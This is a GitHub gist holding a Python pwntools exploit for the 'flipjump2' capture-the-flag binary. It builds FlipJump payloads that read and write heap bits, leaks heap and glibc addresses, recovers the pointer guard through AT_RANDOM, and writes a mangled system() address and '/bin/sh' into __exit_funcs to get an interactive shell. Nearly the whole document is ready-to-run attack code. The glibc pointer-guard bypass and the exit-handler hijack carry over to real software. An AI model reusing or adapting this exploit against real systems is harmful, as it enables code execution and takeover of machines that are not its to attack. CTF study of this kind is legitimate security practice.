Created
February 21, 2023 22:45
-
-
Save dfyz/cccb633e1e19a458244db84a40d2efcc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
def p64(n): | |
return struct.pack("<Q", n) | |
def gen_xorbyte(byteoffset, value, bitwidth, selfstart, jumpthen): | |
code = b"" | |
for i in range(bitwidth): | |
if value & (1 << i): | |
code += p64(byteoffset * 8 + i) #f | |
else: | |
code += p64(0) #f | |
if i < bitwidth - 1: | |
code += p64(selfstart + i + 1) #j | |
else: | |
code += p64(jumpthen) #j | |
return code # <bitwidth> ops | |
def gen_xorbit(byteoffset, bitno, jumpthen): | |
return p64(byteoffset * 8 + bitno) + p64(jumpthen) # 1 op | |
def gen_dispatcher_settarget(selfstart, targetbyte, jumpthen): | |
code = b"" | |
for i in range(16): | |
code += p64(0) #f | |
code += p64(selfstart + 16 + i*4) #j | |
for value in range(16): | |
code += gen_xorbyte(targetbyte, value, 4, selfstart + 16 + value*4, jumpthen) | |
return code # 80 ops | |
def gen_dispatcher_savetarget(selfstart, targetbyte, savetargetbyte, jumpthen): | |
code = b"" | |
for i in range(16): | |
code += p64(0) #f | |
code += p64(selfstart + 16 + i*10) #j | |
for value in range(16): | |
handlerstart = selfstart + 16 + value*10 | |
code += gen_xorbit(targetbyte, 7, handlerstart + 1) # targetbyte dispatcher is at 2**7 = 128 | |
code += gen_xorbyte(targetbyte, value, 4, handlerstart + 1, handlerstart + 5) | |
code += gen_xorbyte(savetargetbyte, value, 4, handlerstart + 5, handlerstart + 9) | |
code += gen_xorbit(savetargetbyte, 4, jumpthen) # savetargetbyte dispatcher is at 2**4 = 16 | |
return code # 176 ops | |
def gen_p1_code(flipbyteoffset, flipbitoffset): # big code that saves orig target and forms new 64-bit target for flip | |
code = b"" | |
# 0 | |
code += gen_xorbit(8+16*320, 7, 320) # targetbyte dispatcher is at 2**7 = 128 | |
# 1 | |
code += b'SSSSSSSS' + p64(0) | |
# 2 - target setter | |
code += gen_xorbyte(8+16*320, flipbyteoffset*8 + flipbitoffset, 64, 2, 1) | |
code = code.ljust(128*16, b'\0') | |
# 128 | |
code += gen_dispatcher_savetarget(128, 8+16*320, 8+16*310, 2) | |
code = code.ljust(310*16, b'\0') | |
# 310 | |
code += p64(0) + p64(0) # for savetarget | |
code = code.ljust(320*16, b'\0') | |
# 320 | |
code += p64(0) + p64(0) # for target | |
for i in range(16): | |
code += b'bbbbbbbb' + p64(0) # for board bits | |
return code # 337 ops | |
def gen_p2_code(savetargetpc, padding=0): # small code that restores target from saved one, expects big code remnants after itself | |
code = b"" | |
# 0 | |
code += p64(0) + p64(savetargetpc) | |
# 1 | |
code += b'SSSSSSSS' + p64(0) | |
code = code.ljust(16*16, b'\0') | |
# 16 | |
code += gen_dispatcher_settarget(16, 8+16*100, 1) | |
code = code.ljust(100*16, b'\0') | |
# 100 | |
code += b'TTTTTTTT' + p64(0) # for target | |
for i in range(16): | |
code += b'bbbbbbbb' + p64(0) # for board bits | |
code += b'Z' * padding | |
return code # 117 ops | |
play_again = b"Play again? (Y/N)\n" | |
def win_game(flipbyteoffset, flipbitoffset): | |
io.recvuntil(play_again) | |
io.send(b"Y\n") | |
p1code = gen_p1_code(flipbyteoffset, flipbitoffset) | |
p2code = gen_p2_code(0x1b0) | |
io.recvuntil(b'Enter code length:\n') | |
io.send(p64(len(p1code))) | |
io.recvuntil(b'Enter code:\n') | |
io.send(p1code) | |
io.recvuntil(b'Enter code length:\n') | |
io.send(p64(len(p2code))) | |
io.recvuntil(b'Enter code:\n') | |
io.send(p2code) | |
io.recvuntil(b'Flip') | |
flipres = io.recvline().decode().strip() | |
leakedBit = "1->" in flipres | |
return leakedBit | |
def leak_byte(byteoffset): | |
leaked = 0 | |
for bitoffset in range(8): | |
modbyteoffset = byteoffset | |
if byteoffset < 0 and bitoffset != 0: # account for signedness of % | |
modbyteoffset -= 1 | |
log.info('leaking bit #%d', bitoffset) | |
leaked |= win_game(modbyteoffset, bitoffset) << bitoffset | |
win_game(modbyteoffset, bitoffset) # flip back | |
return leaked | |
def leak_bytes(offset, length): | |
leaked = b"" | |
for i in range(offset, offset + length): | |
log.info('leaking byte #%d', i - offset) | |
leaked += bytes([leak_byte(i)]) | |
return leaked | |
def write_byte(byteoffset, value): | |
for bitoffset in range(8): | |
modbyteoffset = byteoffset | |
if byteoffset < 0 and bitoffset != 0: # account for signedness of % | |
modbyteoffset -= 1 | |
wasBit = win_game(modbyteoffset, bitoffset) | |
if wasBit == ((value >> bitoffset) & 1): | |
win_game(modbyteoffset, bitoffset) # was correct, flip back | |
def write_bytes(offset, data): | |
for i in range(len(data)): | |
write_byte(offset + i, data[i]) | |
print("Stage 1. Doing nothing and hoping for the best") | |
firstPlaceholder = b'11111111' + b'\0'*(len(gen_p2_code(0, padding=0x40)) - 8) | |
secondPlaceholder = b'22222222' + b'\0'*(len(gen_p1_code(0, 0)) - 8) | |
while True: | |
# io = gdb.debug('./flipjump_fixed') | |
io = process(["./flipjump_fixed"]) | |
# io = process(["/usr/bin/qemu-x86_64-static", "-L", "/mnt/hgfs/f/libs/", "./flipjump_fixed"]) | |
# io = process(["/usr/local/bin/ltrace", "./flipjump_fixed"]) | |
# io = process(["/usr/bin/edb", "--run", "./flipjump_fixed"]) | |
# io = remote("192.168.192.64", 4000) | |
# io = remote("flipjump2.chal.perfect.blue", 1337) | |
io.recvuntil(b'Enter code length:\n') | |
io.send(p64(len(firstPlaceholder))) | |
io.recvuntil(b'Enter code:\n') | |
io.send(firstPlaceholder) | |
io.recvuntil(b'Enter code length:\n') | |
io.send(p64(len(secondPlaceholder))) | |
io.recvuntil(b'Enter code:\n') | |
io.send(secondPlaceholder) | |
io.recvline() | |
res = io.recvline().decode().strip() | |
print(f"{res = }") | |
# if True: | |
if res != "Wrong": | |
break | |
io.close() | |
print("Stage 2. Doing actual useful stuff") | |
# tcache->counts[0] = 0 | |
win_game(-688, 0) | |
heap_leak = unpack(leak_bytes(0x20, 5), 'all') << 12 | |
log.info('heap leak: %#x', heap_leak) | |
glibc_leak = unpack(leak_bytes(0x7c0, 6), 'all') - 0x219ce0 | |
log.info('glibc leak: %#x', glibc_leak) | |
# board2 address | |
heap_base = heap_leak + 0x2c0 | |
def to_offset(addr): | |
return addr - heap_base | |
# leak __libc_argv | |
libc_argv_leak = unpack( | |
leak_bytes(to_offset(glibc_leak + 0x21aa20), 6), | |
'all' | |
) | |
log.info('__libc_argv leak: %#x', libc_argv_leak) | |
at_random_candidate = libc_argv_leak | |
for cand in range(1000): | |
log.info('checking candidate %d for AT_RANDOM: %#x', cand, at_random_candidate) | |
# #define AT_RANDOM 25 /* Address of 16 random bytes. */ | |
if leak_byte(to_offset(at_random_candidate)) == 25: | |
# sanity check | |
if leak_byte(to_offset(at_random_candidate + 8 + 5)) == 0x7f: | |
log.info('found!') | |
break | |
at_random_candidate += 8 | |
else: | |
raise Exception('Failed to find AT_RANDOM') | |
# leak AT_RANDOM[8...] | |
ptr_guard_addr = unpack( | |
# fetch from the val rather than type | |
leak_bytes(to_offset(at_random_candidate + 8), 6), | |
'all' | |
) + 8 # pointer guard is located just after the 8-byte canary | |
log.info('pointer guard addr: %#x', ptr_guard_addr) | |
ptr_guard_leak = u64( | |
leak_bytes(to_offset(ptr_guard_addr), 8) | |
) | |
log.info('pointer guard: %#x', ptr_guard_leak) | |
def mangle_val(x): | |
return rol(x ^ ptr_guard_leak, 0x11, word_size=64) | |
mangled_system_addr = p64(mangle_val(glibc_leak + 0x50d60))[:6] | |
bin_sh_addr = p64(glibc_leak + 0x1d8698)[:6] | |
write_bytes(to_offset(glibc_leak + 0x21af18), mangled_system_addr) | |
log.info('wrote system() to __exit_funcs') | |
write_bytes(to_offset(glibc_leak + 0x21af20), bin_sh_addr) | |
log.info('wrote /bin/sh to __exit_funcs') | |
io.sendlineafter(play_again, b'N') | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment